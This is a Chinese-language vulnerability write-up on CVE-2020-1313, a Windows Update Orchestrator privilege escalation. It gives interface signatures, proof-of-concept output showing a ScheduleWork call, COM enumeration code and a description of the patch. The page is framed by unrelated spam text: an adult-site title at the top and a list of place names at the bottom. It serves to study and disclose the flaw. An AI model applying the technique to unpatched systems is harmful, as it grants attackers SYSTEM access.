中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何進行CVE-2020-1313漏洞分析及利用PoC

發布時間:2021-12-27 18:43:53 來源:億速云 閱讀:183 作者:柒染 欄目:安全技術

這期內容當中小編將會給大家帶來有關如何進行CVE-2020-1313漏洞分析及利用PoC,文章內容豐富且以專業的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。

Windows Update Orchestrator Service是一個DCOM服務,Windows系統內的其他組件需要使用該服務來安裝已下載好的Windows更新。但是,由于該服務中的代碼在認證調用函數時存在問題,導致其易受權限提升攻擊的影響,即任意用戶提升至本地系統權限。該漏洞將影響Windows 10和Windows Server Core產品。

漏洞分析

UniversalOrchestrator服務(9C695035-48D2-4229-8B73-4C70E756E519),其代碼在usosvc.dll中實現,并且將以NT_AUTHORITY\SYSTEM權限運行,如果擁有BUILTIN\Users的訪問權,即可對其進行配置。即使該服務所實現的COM類枚舉功能已經被屏蔽了,但是IUniversalOrchestrator接口(c53f3549-0dbf-429a-8297-c812ba00742d)仍然可以通過標準的COM API調用來訪問獲取。下面給出的就是暴露的三個方法:

virtual HRESULT __stdcall HasMoratoriumPassed(wchar_t* uscheduledId, int64_t* p1);//usosvc!UniversalOrchestrator::HasMoratoriumPassed

virtual HRESULT __stdcall ScheduleWork(wchar_t* uscheduledId, wchar_t* cmdLine, wchar_t* startArg, wchar_t* pauseArg);//usosvc!UniversalOrchestrator::ScheduleWork

virtual HRESULT __stdcall WorkCompleted(wchar_t* uscheduledId, int64_t p1);//usosvc!UniversalOrchestrator::WorkCompleted

ScheduleWork方法可以用來在服務的上下文環境下設置命令執行的計劃任務,并且可以在不進行任何認證的情況下執行。目標可執行程序本身必須擁有數字簽名,并且必須位于“c:\windows\system32”或“Program Files”目錄下。但是,我們同樣可以通過命令行參數來執行目標可執行文件,這樣我們就可以通過啟動“c:\windows\system32\cmd.exe”,并且以NT_AUTHORITY\SYSTEM權限執行任意代碼,最終在目標系統中實現提權。

概念驗證PoC

C:\111>whoami

desktop-43rnlku\unprivileged

 

C:\111>whoami /priv

 

PRIVILEGES INFORMATION

----------------------

 

Privilege Name                Description                          State

============================= ==================================== ========

SeShutdownPrivilege           Shut down the system                 Disabled

SeChangeNotifyPrivilege       Bypass traverse checking             Enabled

SeUndockPrivilege             Remove computer from docking station Disabled

SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled

SeTimeZonePrivilege           Change the time zone                 Disabled

 

C:\111>whoami /priv

 

C:\111>UniversalOrchestratorPrivEscPoc.exe

Obtaining reference to IUniversalOrchestrator

Scheduing work with id 56594

Succeeded. You may verify HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Orchestrator\UScheduler to see the task has indeed been onboarded. The command itself will be executed overnight if there is no user interaction on the box or after 3 days SLA has passed.

計劃任務的入口點將添加至注冊表中:

 如何進行CVE-2020-1313漏洞分析及利用PoC

指定的命令可以在不需要任何用戶交互的情況下,在夜間(大約23:20)的時候執行。

漏洞發現過程

當我發現我們無法通過OleView.NET來獲取USO服務的接口定義時,我專門創建了一個腳本來遍歷大量的CLSID/IID組合。于是乎,我們發現了下列內容:

void TestUpdateOrchestratorInterfaceAgainstService(IID& clsId, const char* className, const wchar_t* iidStr, const char *interfaceName)

{

void *ss = NULL;

IID iid;

ThrowOnError(IIDFromString(iidStr, (LPCLSID)&iid)); // working with e at the end, failing with anything else

 

HRESULT res = CoCreateInstance(clsId, nullptr, CLSCTX_LOCAL_SERVER, iid, (LPVOID*)&ss);

 

printf("%s %s: %s\n", className, interfaceName, res == S_OK ? "WORKING" : "failure");

}

 

void TestUpdateOrchestratorInterface(const wchar_t* iidStr, const char *interfaceName)

{

// TestUpdateOrchestratorInterfaceAgainstService(CLSID_AutomaticUpdates, "AutomaticUpdates", iidStr, interfaceName); // timeouting!

TestUpdateOrchestratorInterfaceAgainstService(CLSID_UxUpdateManager, "UxUpdateManager", iidStr, interfaceName);

TestUpdateOrchestratorInterfaceAgainstService(CLSID_UsoService, "UsoService", iidStr, interfaceName);

TestUpdateOrchestratorInterfaceAgainstService(CLSID_UpdateSessionOrchestrator, "UpdateSessionOrchestrator", iidStr, interfaceName);

TestUpdateOrchestratorInterfaceAgainstService(CLSID_UniversalOrchestrator, "UniversalOrchestrator", iidStr, interfaceName);

// TestUpdateOrchestratorInterfaceAgainstService(CLSID_SomeService, "SomeService", iidStr, interfaceName); // timeouting!

}

 

...

 

TestUpdateOrchestratorInterface(L"{c57692f8-8f5f-47cb-9381-34329b40285a}", "IMoUsoOrchestrator");

TestUpdateOrchestratorInterface(L"{4284202d-4dc1-4c68-a21e-5c371dd92671}", "IMoUsoUpdate");

TestUpdateOrchestratorInterface(L"{c879dd73-4bd2-4b76-9dd8-3b96113a2130}", "IMoUsoUpdateCollection");

        // ... and hundreds of more

方法的執行結果如下:

UniversalOrchestrator IUniversalOrchestrator: WORKING

UpdateSessionOrchestrator IUpdateSessionOrchestrator: WORKING

UxUpdateManager IUxUpdateManager: WORKING

接下來,我就開始對上述方法執行逆向工程分析,并且發現了本文所介紹的漏洞。

漏洞修復

微軟目前已在2020年6月份的漏洞補丁中,通過添加CoImpersonateClient API調用來修復了該問題。

在部署漏洞補丁之前,方法的實現代碼如下:如何進行CVE-2020-1313漏洞分析及利用PoC

部署了漏洞補丁之后,方法的實現代碼如下:如何進行CVE-2020-1313漏洞分析及利用PoC

實際上,身份偽裝實在處理請求的開始時完成的,因此更新注冊表的API調用是在調用方的安全上下文中執行的。如果調用方沒有訪問HKEY_LOCAL_MACHINE的高級權限,那么USO API方法也將無法被執行。

上述就是小編為大家分享的如何進行CVE-2020-1313漏洞分析及利用PoC了,如果剛好有類似的疑惑,不妨參照上述分析進行理解。如果想知道更多相關知識,歡迎關注億速云行業資訊頻道。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

襄城县| 平顶山市| 随州市| 潞城市| 普兰店市| 新民市| 墨玉县| 峨边| 冷水江市| 陈巴尔虎旗| 麟游县| 虞城县| 临汾市| 策勒县| 农安县| 康定县| 罗源县| 封丘县| 侯马市| 黎城县| 喀喇沁旗| 大竹县| 波密县| 垣曲县| 长岭县| 云南省| 罗定市| 安塞县| 镇雄县| 阳朔县| 姜堰市| 华安县| 基隆市| 慈利县| 当涂县| 荃湾区| 商丘市| 四平市| 梅州市| 沙河市| 子长县|